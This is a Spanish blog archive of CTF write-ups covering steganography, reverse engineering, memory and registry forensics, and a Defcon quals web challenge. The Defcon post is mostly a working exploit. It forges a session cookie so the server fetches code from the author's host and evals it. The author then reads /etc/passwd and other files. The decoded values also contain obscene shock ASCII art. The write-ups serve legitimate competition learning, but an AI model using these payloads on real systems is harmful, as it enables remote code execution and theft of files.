Contenido principal
Agosto 18, 2011
Luego de un tiempo considerable sin publicar algo, por fin me decido y saco tiempo para investigar y elaborar la resolución para el reto de Encuentras las 7 diferencias, en esta resolución podrán encontrar la forma en la que descubrí la palabra escondida, además de mi investigación sobre un método que fue totalmente nuevo para mí y que es el que más me ha dado dificultad aprender hasta el día de hoy, en resumen, el algoritmo oculta información a través del ordenamiento de listas: teniendo una lista de elementos y re ordenándola según un algoritmo, se pueden esconder bits de información. Este método es similar al algoritmo de cifrado One Time Pad, por lo que para recuperar la información oculta en la lista reordenada, debemos primero tener la lista original.
Las imágenes GIF contienen en su formato, un campo denominado tabla global de colores donde son almacenados todos los colores que contiene la imagen (El tamaño máximo para esta lista es de 256 colores). El programa usado en el reto ordena esta lista de colores en su forma 'natural' (R*65536 + G*256 + B) y luego reordenada estos colores para esconder la información. Luego del reordenamiento se modifican los índices que apuntan a los colores para que la imagen permanezca igual.
Este tipo de método tratado sobre imágenes GIF no altera de ninguna forma su apariencia visual, por lo que ataques estadísticos sobre la misma son inútiles.
Resolución reto número 12: Encuentra las 7 diferencias de hackplayers.blogspot.com
En el archivo comprimido pueden encontrar.
La resolución oficial en formato PDF.
Las imágenes originales del reto.
Un script de mi autoría para comparar imágenes y al mismo tiempo realizar ataques visuales.
Un análisis manual sobre como el programa reordena la tabla global de colores.
Archivado en: Esteganografía, Programación, Retos informáticos |
Comentarios (3)
Junio 6, 2011
Este fin de semana se dio a cabo la preclasificatorias para Defcon 2011, en total fueron 25 problemas del cual solo resolvimos 8. A continuación la descripción, resolución y respuesta para el reto Pwtent Pwnables 300.
Descripción
What is the id number of the official training manual for ddtek?: pwn508.ddtek.biz:52719
Solución
Al ingresar al sitio web encontramos unas imágenes y un video que no son muy útiles, al poner una dirección no existente el servidor nos redireccionaba a una página decente donde nos mostraba el error, observando el código de esta última página encontramos que una carpeta llamada "__sinatra__" almacen las imágenes para errores del servidor como "Not found" o "Interval server error" con su respectivo código: "400.png" y "500.png".
Ingresando caracteres no permitidos para nombres de archivo en las imágenes (http://pwn508.ddtek.biz:52719/__sinatra__/%00400.png) nos dimos cuenta que el servidor web se trataba de WEBrick y que estaba corriendo la aplicación Sinatra para Ruby.

En los mensajes de error se podía ver claramente el código usado por la aplicación, por lo que luego de varios intentos y de finalmente entregar una cookie corrupta descubrimos la forma en cómo ésta se estaba codificando:
puts "did not find session"
session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
b.call
A continuación se presentan los cuatro valores en plano para el anterior hash table, el único valor desconocido es el de la variable "url", el cual obtenemos de la Cookie enviada por el servidor.
El script utilizado para esta parte fue el siguiente
<?php
$content = 'BASE64';
$compressed = base64_decode($content);
$plaintext = gzuncompress($compressed); // similar function to Zlib::Inflate.inflate
echo $plaintext;
Valor 1
eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t
_//(
oo\\\\
<_.\\\
\__/"
//_`.
,@;@, ||/ )]
;@;@( \@;@;@;@;@;@,_|/ / |
/a `@\_|@;@;@;@(_____.' |
/ )@:@;@;@;@/@:@;@#|"""|
`--"'`;@;@;@;@|@;@;@`==\ )
`;@;\;@;\;@;@` || |
|| | \\ ( __||H|
|| | // / \=="#'=
// ( // / |__V_|
''"' '"'___<<____) (sheep fucker)
Valor 2
eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc
_,-%/%|
_,-' \//%\
_,-' \%/|%
/ / ) __,-- /%\
\__/_,-'%(% ; %)%
%\%, %\
'--%' (i don't know what is this)
Valor 3 (Interesante)
mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i => eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwMjfQBR/wXC
http://127.0.0.1:52802/
Valor 4
eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ
* g o a t s e x * g o a t s e x * g o a t s e x
g g
o / \ \ / \ o
a| | \ | | a
t| `. | | : t
s` | | \| | s
e \ | / / \\\ --__ \\ : e
x \ \/ _--~~ ~--__| \ | x
* \ \_-~ ~-_\ | *
g \_ \ _.--------.______\| | g
o \ \______// _ ___ _ (_(__> \ | o
a \ . C ___) ______ (_(____> | / a
t /\ | C ____)/ \ (_____> |_/ t
s / /\| C_____) | (___> / \ s
e | ( _C_____)\______/ // _/ / \ e
x | \ |__ \\_________// (__/ | x
* | \ \____) `---- --' | *
g | \_ ___\ /_ _/ | g
o | / | | \ | o
a | | / \ \ | a
t | / / | | \ |t
s | / / \__/\___/ | |s
e | / | | | |e
x | | | | | |x
* g o a t s e x * g o a t s e x * g o a t s e x *
(omg, goatse :|)
El único valor interesante es el tercero, que contiene una dirección local con el puerto 52802. Intentamos conectarnos a dicho puerto pero el firewall o la aplicación no lo permitía, así que lo que hicimos fue modificar el valor de la cookie haciendo que apuntara a nuestra IP y a un puerto específico utilizando el siguiente script para Ruby:
require 'Zlib'
require 'base64'
session = {}
session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump('http://1.3.3.7:6047'),9))
session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
print Base64.encode64(Marshal::dump(session))
Ahora con la cadena apuntando a nuestro servidor podemos modificar la cookie y ver que el servidor se conecta a nuestro servicio usando el protocolo HTTP.
Al responder con cualquier cadena, la aplicación nos retorna un nuevo error, indicando que el contenido tuvo un error en la descompresión
if session
['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
puts "found session"
#response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp
nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
puts "attempting fetch from #{nurl}"
$stdout.flush
response = HTTPClient::get_content(nurl).chomp
mcode = Zlib::Inflate.inflate(Base64.decode64(response))
La respuesta se la debemos entregar comprimida y codificandola con base64
<?php
echo base64_encode(gzcompress("print 'a'"));
A lo que el servidor nos vuelve a sacar un error unas líneas más abajo indicando que el método call no existe en la clase bp
mcode =
Zlib::Inflate.
inflate(Base64.
decode64(response
))
puts "got mcode: #{mcode}"
$stdout.
flush
#bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
bp = eval(mcode)
puts "got proc: #{bp}"
$stdout.flush
bp.call
Por lo que Fernando averiguó como crear la clase que al llamar la función call retornara el contenido que deseabamos
<?php
$class = 'class Tits; def self.call;return CODIGO;end; end; bp = Tits'
echo base64_encode(gzcompress($class));
Lo primero que hicimos fue leer el archivo /etc/passwd
//return IO.readlines('/etc/passwd', '').to_s
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
6rJJJ1eF:x:1000:1000::/home/6rJJJ1eF:/bin/sh
pen:x:1001:1001::/home/pen:/bin/sh
Listar el contenido del directorio /home/6rJJJ1eF
//return Dir.entries('/home/6rJJJ1eF').join(' ')
.
..
asshoo
assrck
key
www
Obtener el código de assrck
//return IO.
readlines('/home/6rJJJ1eF/assrck',
'').
to_s
#!/usr/bin/env ruby
# $Rev: 510 $
require 'pp'
require 'base64'
require 'yaml'
require 'zlib'
require 'optparse'
require 'rubygems'
require 'sinatra'
require 'httpclient'
$options = { :port => 52700 }
$options = { :oport => 52800 }
$options[:port] = ARGV[0].to_i if ARGV[0]
$options[:oport] = ARGV[1].to_i if ARGV[1]
$wdir = "./www"
enable :sessions
set :port, $options[:port]
set :bind, "127.0.0.1"
set :static, "true"
set :public, $wdir
puts "i am assrck"
url = "http://127.0.0.1:#{$options[:oport]}/"
get '/' do
if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
puts "found session"
#response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp
nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
puts "attempting fetch from #{nurl}"
$stdout.flush
response = HTTPClient::get_content(nurl).chomp
mcode = Zlib::Inflate.inflate(Base64.decode64(response))
puts "got mcode: #{mcode}"
$stdout.flush
#bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
bp = eval(mcode)
puts "got proc: #{bp}"
$stdout.flush
bp.call
else
puts "did not find session"
session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
b.call
end
end
Y por último obtener el contenido del archivo key
//return IO.readlines('/home/6rJJJ1eF/key', '').to_s
ISBN-13: 978-1931993494
Ya podemos obtener nuestro paperback y los 300 puntos 
Archivado en: Criptografía, Hacking, Retos informáticos, Seguridad |
Comentarios (7)
Abril 25, 2011
Este fin de semana Plaid Parliament of Pwning fueron los anfitriones del plaid CTF, un concurso donde 440 equipos participaron de una serie de retos dirigidos a entusiastas y profesionales de la seguridad informática.
En total eran 38 retos que se debian resolver en 48 horas, las categorías del concurso fueron: Reversing, Web, Crypto, Trivia, Pwnables y QR Code.
Y pues bueno, un torneo grandioso donde los ganadores demostraron sus habilidades, felicitaciones a ellos y a PPP por tan genial y organizado evento!
Ahora sí, la resolución para el problema número 7: I'm feeling lucky.
WriteUp I'm Feeling lucky
Descripción
We found that one of the executives of AED keeps using 'Fortune Cookie' program everyday before he logs in to his *very* important machine.
We extracted the program, and we are certain that there's a key hidden somewhere in the binary.
Reverse engineer and get the key!
Download
http://www.plaidctf.com/chals/43e842e63a795e8f28739a018de547822382e7d3.exe
Resolución
Bueno, este es un breve resumen de lo que hice para obtener la respuesta del reto.
Lo primero que hice fue localizar el código que se ejecutaba al dar clic al botón con Ollydbg, llegando a la instrucción 00412530.
00412530 /$ 68 90000000 PUSH 90
00412535 |. B8 23DA5000 MOV EAX,43e842e6.0050DA23
0041253A |. E8 16550E00 CALL 43e842e6.004F7A55
0041253F |. 8BF9 MOV EDI,ECX
00412541 |. 33C0 XOR EAX,EAX
00412543 |. 8945 F0 MOV [LOCAL.4],EAX
00412546 |. C745 EC FFFFFF7F MOV [LOCAL.5],7FFFFFFF
0041254D |. 8B5D 08 MOV EBX,[ARG.1]
00412550 |. 8945 FC MOV [LOCAL.1],EAX
00412553 |. 81FB 11010000 CMP EBX,111
00412559 |. 75 22 JNZ SHORT 43e842e6.0041257D
0041255B |. FF75 10 PUSH [ARG.3]
0041255E |. 8B07 MOV EAX,DWORD PTR DS:[EDI]
00412560 |. FF75 0C PUSH [ARG.2]
00412563 |. FF90 F4000000 CALL DWORD PTR DS:[EAX+F4]
En la instrucción 00412559 es donde se compara el mensaje enviado con 111 que pertenece a WM_COMMAND (Cuando se presiona el botón).
Luego de numerosas instrucciones el programa llama la función CryptDecrypt pasándole como parámetro general una llave y un texto el cual es luego mostrado como una galleta de la fortuna
Identifiqué todos los llamados (En orden de ejecución) a la biblioteca criptográfica de Microsoft teniendo como resultado el siguiente resumen.
4025F0:
CryptAcquireContext
|Arg1 = 0012FE40 phProv
|Arg2 = 00000000 pszContainer
|Arg3 = 00000000 pszProvider
|Arg4 = 00000001 dwProvType
\Arg5 = F0000000 dwFlags
CryptCreateHash
|Arg1 = 00188DD0 hProv
|Arg2 = 00008003 Algid (CALG_MD5)
|Arg3 = 00000000 hKey
|Arg4 = 00000000 dwFlags
\Arg5 = 0012FE48 phHash
401140:
CryptDestroyHash
\Arg1 = 00186F70 hHash
CryptCreateHash
|Arg1 = 00188DD0 hProv
|Arg2 = 00008003 Algid (CALG_MD5)
|Arg3 = 00000000 hKey
|Arg4 = 00000000 dwFlags
\Arg5 = 0012FE48 phHash
CryptHashData
|Arg1 = 00186F70 hHash
|Arg2 = 00B7ADD0 pbData (This is the key, but this is not the key you are looking for :p)
|Arg3 = 0000003F dwDataLen (63)
\Arg4 = 00000000 dwFlags
CryptDeriveKey
|Arg1 = 00188DD0 hProv
|Arg2 = 00006602 Algid (CALG_RC2)
|Arg3 = 00186F70 hBaseData
|Arg4 = 00000001 dwFlags
\Arg5 = 0012FE44 phKey
00412530:
CryptDecrypt
|Arg1 = 00189368 hKey
|Arg2 = 00000000 hHash
|Arg3 = 00000001 Final
|Arg4 = 00000000 dwFlags
|Arg5 = 00B7F570 pbData
\Arg6 = 0012F664 pdwDataLen
Luego simulé el funcionamiento y extraje la cadenas cifradas que se localizaban en el offset 140D18 del archivo ejecutable.
Creé un programa en C++ y un script en PHP que leyera archivos binarios e hiciera split (Disculpa a los lectores si la solución es un poco ortodoxa).
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <wincrypt.h>
int main(int argc, char* argv[]) {
HCRYPTPROV hCryptProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
CryptAcquireContext(&hCryptProv, 0, 0, 1, 0xF0000000);
CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);
BYTE *pbBuffer = (BYTE *)"This is the key, but this is not the key you are looking for :p";
DWORD dwBufferLen = strlen((char *)pbBuffer);
CryptHashData(hHash, pbBuffer, dwBufferLen, 0);
CryptDeriveKey(hCryptProv, CALG_RC2, hHash, 1, &hKey);
FILE *fp = fopen("filetmp.hex", "rb");
fseek(fp, 0, SEEK_END);
ULONG size = ftell(fp);
unsigned char *buffer = (unsigned char*) calloc(size, sizeof(char));
rewind(fp);
fread(buffer, size, 1, fp);
fclose(fp);
CryptDecrypt(hKey, 0, 1, 0, buffer, &size);
printf("%s\n", buffer);
return 0;
}
Y el script de PHP que ejecutaba el anterior código
<?php
$file = file_get_contents('strings.hex'); // Obtain all ciphered strings
$file = str_replace("\x00\x00\x00\x00\x00\x00\x00\x00", "\x00\x00\x00\x00", $file);
$file = explode("\x00\x00\x00\x00", $file); // Split based on null chars
foreach ($file as $line) { // Loop through all strings
file_put_contents("filetmp.hex", $line); // Save the string in temporal file
system("mission7.exe"); // Call mission7 executable
}
La respuesta se encontraba en una de las últimas galletas de la fortuna
Your character can be described as natural and unrestrained.
Your difficulties will strengthen you.
Oh YEAH, this is THE k3y U r L0ok1ng FOr
Your dreams are worth your best efforts to achieve them.
Your energy returns and you get things done.
Respuesta
Oh YEAH, this is THE k3y U r L0ok1ng FOr 
Archivado en: Criptografía, Ingeniería Inversa, Programación |
Comentarios (5)
Abril 3, 2011
Este fin de semana se llevó a cabo las prequals para Nuit Du Hack, una de las conferencias de seguridad informática más antiguas de Francia.
La modalidad de la prequal: CTF, que consiste en una serie de retos donde se debe encontrar una bandera para ir escalando posiciones en el ranking.
En este caso nos enfrentamos a doce retos en cuatro categorías, este es el resumen de los retos que logramos realizar, logrando 1400 puntos y ocupando el puesto número doce.
Web
Inyección + serialize
Inyección a través de imágenes
Inyección a través de cookies
Forensics
Análisis del dump de memoria encontrando la clave del servidor VNC
Obtención de clave de usuario encontrada en ntds.dit (Active Directory)
Análisis del dump de memoria encontrando el proceso sospechoso
Crypto
Texto cifrado con Vigenere
RCE
Ingeniería inversa al archivo para encontrar la clave de acceso
Ingeniería inversa a una aplicación para Android
Ingeniería inversa a un juego para Nintendo DS
WriteUp Forensic100
Descripción
We have dumped the RAM of a Machine on which was running a VNC server.
The goal is to get the password of that VNC server.
Resolución
Lo primero que hice fue descargar una herramienta que me permitiera por cada proceso separar la memoria que ocupaba en el dump de la RAM, tal herramienta se llama Memoryze.
Entre las características de Memoryze podemos encontrar que puede listar el espacio de direcciones virtuales y mostrar tanto las DLLs cargadas como las porciones de memoria del programa deseado.
Memoryze trae una serie de archivos batch que nos ayudan a obtener estos espacios de memoria, se usó el archivo ProcessDD.bat de la siguiente forma:
ProcessDD.bat -input C:\dump.raw -process winvnc4.exe
El programa creó una carpeta de auditoría que contenía:
El programa ejecutable
Las bibliotecas cargadas por el programa
La pila de ejecución del programa
Los resultados del análisis
Como mi especialidad no es el análisis forense lo que hice fue un ataque de fuerza bruta sobre la pila de ejecución del programa (Archivos .VAD) en busca de 8 bytes que representan la contraseña cifrada del servidor VNC.
La contraseña es cifrada mediante el algoritmo DES (Modo ECB) usando la llave fija "\x17\x52\x6B\x06\x23\x4E\x58\x07" a la que anteriormente se reversó cada uno de sus bits (En el código pueden ver la función bit_mirror usada para reversar los bits de una cadena)
El código usado para hacer fuerza bruta fue el siguiente
<?php
//Fixed key with reversed bits
$key = bit_mirror("\x17\x52\x6B\x06\x23\x4E\x58\x07");
//Directory of audit generated by Memoryze
$audit_dir = "./20110401234944";
$d = dir($audit_dir);
//Loop through files in audit directory
while (false !== ($entry = $d->read())) {
if ($entry != '.' && $entry != '..' && substr($entry, -3) == 'VAD') {
//Read virtual address descriptor
$file = file_get_contents("./20110401234944/$entry");
//Obtain eight bytes that could match VNC password hash
preg_match_all('/\x00([\x00-\xff]{8})/', $file, $match);
//Loop through hashes
foreach ($match[1] as $hash) {
$decrypted = mcrypt_decrypt(MCRYPT_DES, $key, $hash, MCRYPT_MODE_ECB);
//Save possible answer if decrypted text contains printable characters
if (printable($decrypted))
file_put_contents('possible_answers_vnc.txt', $decrypted . "\n", FILE_APPEND);
}
}
}
//Return true if all characters in string are printable
function printable($string) {
$len = strlen($string);
for ($i = 0; $i < $len; $i++) {
if (ord($string[$i]) < 32 || ord($string[$i]) > 127)
return false;
}
return true;
}
//Return string with reversed bits
function bit_mirror($str) {
$tmp = '';
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$ord = ord($str[$i]);
$tmp .= chr((($ord * 0x0802 & 0x22110) | ($ord * 0x8020 & 0x88440)) * 0x10101 >> 16);
}
return $tmp;
}
Al realizar el ataque por fuerza bruta encontramos en el archivo "possible_answers_vnc.txt" las posibles contraseñas para el servidor VNC
Q\D!J>'
*@W+SZXT
f-XjyB9E
rgO.;o1k
K]oo=~W`
f-XjyB9E
&dSD uNT
secretpq
b#<1?~_#
\q*QqXh
La contraseña usada entonces fue "secretpq" que corresponde al hash "\xDA\x6E\x31\x84\x95\x77\xAD\x6B" y que además se encuentra en el archivo "1696__SystemMemory%5c0x008c0000-0x008cffff.VAD"
Bandera
secretpq
Archivado en: Criptografía, Programación, Retos informáticos, Seguridad |
Comentarios (4)
Marzo 6, 2011
Este fin de semana nuestro grupo NULL-Life estuvo participando en el juego captura la bandera (CTF) de Codegate 2011.
Las categorías en esta ocasión fueron Vulnerab, Binary, Crypto, Forensics, Network e Issues.
De los 27 problemas planteados solo alcanzamos a realizar 14 para un total de 2600 puntos y lograr la posición 30 de 178 equipos que participaron, inclusive llegamos a quedar como el primer equipo de latinos, así que muchos ánimos para los integrantes del equipo, hay restos de cosas por mejorar!
También debo aclarar que el grupo no representa ninguna institución/región/país y que los integrantes somos de diferentes países incluyendo a Argentina, Colombia, México y Perú.
Fernando ha publicado un corto artículo sobre nuestra participación.
Sin más que decir, les presento la forma en que desarrollamos el tercer reto de la categoría Forensics.
Descripción
we are investigating the military secret's leaking.
we found traffic with leaking secrets while monitoring the network.
Security team was sent to investigate, immediately. But, there was no one present.
It was found by forensics team that all the leaked secrets were completely deleted by wiping tool.
And the team has found a leaked trace using potable device.
Before long, the suspect was detained. But he denies allegations.
Now, the investigation is focused on potable device.
The given files are acquired registry files from system.
The estimated time of the incident is Mon, 21 February 2011 15:24:28(KST).
Find a trace of portable device used for the incident.
The Key : "Vendor name" + "volume name" + "serial number" (please write in capitals)
Down (Archivo F8884B5396EAFE05E798BAB5F19D2E3F en Repositorio Codegate 2011)
Resolución
Extraemos los archivos quedando con la siguiente estructura

Cada archivo es de tipo Windows NT Registry Hive o "grupo lógico de claves, subclaves y valores en el registro que tienen un conjunto de archivos de soporte que contienen respaldos de sus datos".
Debemos primero buscar un editor de estos tipos de archivo encontrando la publicación de Nuno Brito con su editor de registro en crudo y la de erwan.l con su editor offline usando la librería de Windows Offreg.dll
Luego de abrir alguno de los registros y siguiendo la descripción, debemos encontrar un dispositivo extraíble el cual fue conectado al equipo y que posiblemente fue el causante del incidente. Suponemos que fue el último dispositivo conectado.
Buscando localmente encontré dos claves donde se guardan los dispositivos en el registro.
HKLM\SOFTWARE\Microsoft\Windows Portable Devices\Devices
HKLM\SYSTEM\ControlSet001\Enum\WpdBusEnumRoot\UMB
Con la utilidad de Nuno Brito debemos habilitar la opción Show Details desde el menú Options -> Configuration para obtener la fecha de modificación de la clave escogida.
Podemos ver la diferencia entre ver el tiempo de modificación desde un editor hexadecimal y desde la herramienta de Nuno.


Buscamos el último dispositivo conectado guiándonos con el timestamp y encontramos la clave
La respuesta como nos pide el problema es: Nombre del fabricante + Nombre del volumen o label + Serial del dispositivo.
Respuesta
CORSAIRPR0N33RDDF08FB7A86075
Archivado en: Retos informáticos, Seguridad |
Comentarios (8)